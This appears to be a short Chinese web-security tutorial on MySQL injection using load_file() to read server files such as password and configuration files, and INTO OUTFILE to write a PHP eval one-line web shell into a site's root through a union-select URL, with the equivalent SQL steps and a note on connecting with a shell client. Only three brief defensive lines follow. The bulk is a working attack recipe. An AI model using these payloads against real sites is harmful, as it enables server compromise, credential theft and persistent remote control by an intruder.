zoukankan      html  css  js  c++  java
  • web安全之sqlload_file()和into outfile()

    load_file()

      条件:要有file_priv权限

         知道文件的绝对路径

         能使用union

         对web目录有读权限

      如果过滤啦单引号,则可以将函数中的字符进行hex编码

    步骤:

      1.读/etc/init.d下的东西,这里有配置文件路径。

       2.得到web的安装路径

    3.读取密码文件

    into outfile

    条件:

      1。要有file_priv权限

      2.知道网站的绝对路径

      3.对web有写的权限

      4.没有过滤单引号

    步骤:

    直到网站的绝对路径的时候:

      ?id=1 union select "<?php @eval($_POST['c']); ?>" into
     outfile("网站根目录")

    相当于:

    use test;  选择数据库为test
    create table aaa(bbb varchar(64));   在数据库中创建一个表aaa
    insert into aaa values("<?php @eval($_POST['c']);?>");   在aaa中插入一条数据<?php @eval($_POST['c']);?>
    select * from aaa into outfile 'C:/phpStudy/WWW/a.php';  将aaa中的数据导出到文件a.php
    drop aaa;  //删除建立的表


    用菜刀练接;



    防御:
      数据库连接帐号不能用root权限
      php关闭报错模式
      mysql帐号没有对权限对网络根目录有写的权限


     
  • 相关阅读:
    为什么C++(感谢waterwalk翻译)
    容器操作笔记
    如此理解面向对象编程
    C++初学者小细节(不定时更新)
    Sales_item 专题
    10步让你成为更优秀的程序员
    C++ PRIMER 笔记
    C++ 异常处理
    透明度 rgba 和 opacity 的区别
    盒模型
  • 原文地址:https://www.cnblogs.com/secevery/p/5768652.html
Copyright © 2011-2022 走看看